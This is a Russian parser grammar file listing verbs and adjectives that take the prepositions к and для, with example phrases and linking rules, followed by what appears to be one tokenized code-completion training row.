rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
| целиться в беглеца
| rus_verbs:целиться{}, | 5,483,167 | [
1,
146,
233,
145,
118,
145,
124,
145,
121,
146,
229,
146,
239,
146,
228,
146,
242,
225,
145,
115,
225,
145,
114,
145,
118,
145,
116,
145,
124,
145,
118,
146,
233,
145,
113,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
436,
407,
67,
502,
2038,
30,
146,
233,
145,
118,
145,
124,
145,
121,
146,
229,
146,
239,
146,
228,
146,
242,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
